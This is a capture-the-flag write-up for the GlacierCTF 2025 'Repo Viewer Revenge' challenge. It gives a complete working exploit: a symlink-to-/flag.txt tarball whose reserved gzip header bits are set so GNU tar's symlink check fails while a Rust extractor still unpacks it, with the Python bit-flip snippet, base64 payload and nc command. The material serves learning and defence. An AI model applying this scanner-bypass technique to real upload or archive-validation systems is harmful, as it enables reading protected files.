//GlacierCTF 2025 – Repo Viewer Revenge Writeup
>1. Challenge Overview
Repo Viewer Revenge is a misc/pwn challenge that simulates a “secure” paste service. Competitors upload a gzipped tar via nc challs.glacierctf.com 13379; the service refuses any archive whose README.md entry is a symlink or hardlink (to stop /flag.txt leaks) before running a custom Rust binary (repo-viewer) to extract and print /tmp/README.md. The goal is to craft an archive that bypasses the bash-based detector but still causes repo-viewer to extract a README.md symlink that points at /flag.txt, ultimately printing the flag.
>2. Local Files & Initial Recon
The Docker image provides two critical files:
-
challenge: the bash wrapper that enforces the anti-symlink check before launching repo-viewer. -
repo-viewer: the Rust binary (async-compression + tokio-tar) that untars stdin and prints the README contents.
challenge is short enough to reproduce completely:
#!/bin/bash
set -euo pipefail
echo "Welcome to the improved secure Repo Viewer (100% memory safe)!"
echo "Submit a .tar to view its README"
echo "(tar -czf - <directory> | base64; echo @) | wl-copy"
echo "Confirm with extra newline after base64 data."
echo "Input base64-encoded tar file:"
read -d @ b64data
ls
if [ "$(printf %s "${b64data}" | base64 -d | tar -tvzf - | grep '^[lh]' | wc -l)" -gt 0 ]; then
echo "Symlink detected, aborting!"
exit 1
fi
printf %s "${b64data}" | base64 -d | /app/repo-viewer
echo "Goodbye!"
Key takeaways:
-
GNU tar lists entries verbosely; lines beginning with
lorh(symlinks/hardlinks) trigger an abort. -
set -euo pipefailmeans any failure intar -tvzfor the grep pipeline short-circuits the detection logic. -
The detector only inspects stdout from tar; if tar produces no listing lines, grep sees nothing and the upload is allowed.
repo-viewer was treated as a black box binary, but tracing it locally showed that it simply extracts entries using tokio-tar and writes README.md to /tmp/README.md regardless of whether it is a symlink.
>3. Experiment Log
I kept every notable experiment because the final exploit was informed by these failures:
| Attempt | Command/Code Snippet | Result |
| --- | --- | --- |
| Multi-member gzip archives | cat safe_readme.tar.gz safe_readme.tar.gz > multi_combo_plain.gz then tar -tvzf multi_combo_plain.gz | Detector still sees first member’s listing → fails |
| Truncated or multi-volume tar | Used helper scripts (mv_archive.*, volhdr.*) to craft “continued” headers | GNU tar still prints the l entry before crashing |
| CRC corruption | gzip -c exploit.tar > exploit.tar.gz and then flipped last 4 bytes | Tar prints listing then errors, so grep catches the l |
| Reserved gzip flags (final idea) | Python snippet below sets FLG bits 5-7 | GNU tar aborts before listing entries, detector prints nothing |
Although only the final technique is needed to reproduce the exploit, listing the failed avenues demonstrates that every major code path was explored.
>4. Final Exploit Development
The winning idea abuses the gzip header. The gzip spec reserves FLG bits 5–7; GNU tar treats any stream with those bits set as “encrypted” and terminates before reading the tar payload. async-compression (used by repo-viewer) ignores those bits and happily decompresses the data. By flipping those bits we can make tar refuse the archive while repo-viewer continues.
4.1 Craft README symlink tarball
Everything happens inside /home/noigel/CTF/Glacier/misc/repo_revenge/repo-viewer-revenge:
mkdir -p exploit
ln -sf /flag.txt exploit/README.md
# confirm the symlink points to the real file
ls -l exploit
# optional sanity check of the dummy flag inside the container
cat /flag.txt
tar -cvf exploit.tar -C exploit README.md
gzip -c exploit.tar > exploit.tar.gz
4.2 Flip the gzip reserved bits (critical step)
python3 - <<'PY'
from pathlib import Path
payload = Path("exploit.tar.gz").read_bytes()
data = bytearray(payload)
# FLG byte is index 3; set bits 5-7 (0xE0)
data[3] |= 0xE0
Path("exploit_reserved.tar.gz").write_bytes(data)
PY
Now GNU tar refuses to process the file:
tar -tvzf exploit_reserved.tar.gz | grep '^[lh]'
# Output:
# gzip: stdin is encrypted -- not supported
# tar: Child returned status 1
# tar: Error is not recoverable: exiting now
Because the grep receives zero lines, the detector later prints clean (I verified with set -euo pipefail; ...).
4.3 Verify repo-viewer still honors the symlink
rm -f /tmp/README.md
cat exploit_reserved.tar.gz | ./repo-viewer
# Output:
# Found entry: README.md
# Extracted README.md
# --- README.md contents ---
# gctf{W3_B0tH_Kn0w_Y0u_W!LL_TrY_To_submiT_ThE_DuMMY_Fl4G}
Locally the symlink resolved to /flag.txt, proving the bypass works end-to-end.
4.4 Generate the payload expected by the remote service
base64 -w0 exploit_reserved.tar.gz > exploit_reserved.b64
cat exploit_reserved.b64
# H4sI6CkzI2kAA2V4cGxvaXQudGFyAO3OMQ6CQBSE4XeUPQHsc1leTSKlDTcgUQkJSAJr4vHFgoTG...
The full base64 blob (line-wrapped for readability) is:
H4sI6CkzI2kAA2V4cGxvaXQudGFyAO3OMQ6CQBSE4XeUPQHsc1leTSKlDTcgUQkJSAJr4vHFgoTG
WGH1f80UM8U0dXW+1Nl4leP4lZl9Ui36fW5Eo6ovgxZRxWsIVog75feh7bL0Sgeeey6pnZ2Tx9R3
t+H77lcPAAAAAAAAAAAAAAAAAMAfvQG6yMweACgAAA==
>5. Remote Exploitation (All Commands Included)
With the payload ready, exploitation was just a single printf piped into nc (remember the blank line before @ per the challenge instructions):
printf 'H4sI6CkzI2kAA2V4cGxvaXQudGFyAO3OMQ6CQBSE4XeUPQHsc1leTSKlDTcgUQkJSAJr4vHFgoTGWGH1f80UM8U0dXW+1Nl4leP4lZl9Ui36fW5Eo6ovgxZRxWsIVog75feh7bL0Sgeeey6pnZ2Tx9R3t+H77lcPAAAAAAAAAAAAAAAAAMAfvQG6yMweACgAAA==\n\n@' | nc challs.glacierctf.com 13379
Server output (trimmed for clarity):
Welcome to the improved secure Repo Viewer (100% memory safe)!
...
app
bin
...
gzip: stdin is encrypted -- not supported
tar: Child returned status 1
Found entry: README.md
Extracted README.md
--- README.md contents ---
gctf{Ru5t_m4k3s_3v3Ry7h1ng_5eCuR3_71a9f2ed8}
Goodbye!
The detector prints the “encrypted” warning but never says “Symlink detected,” because it never saw an l prefix line.
>6. Final Flag
gctf{Ru5t_m4k3s_3v3Ry7h1ng_5eCuR3_71a9f2ed8}
>7. Lessons Learned / Key Takeaways
-
Tar detection isn’t meaningful if decompression fails first. Early failure conditions need to be treated as “suspicious,” not “clean.”
-
Gzip header validation matters. Ignoring reserved bits in decompression libraries can re-open old classes of attacks.
-
Set -e is a double-edged sword. It simplified the detector but also made the failure path skip the
grepentirely, letting the malicious archive through.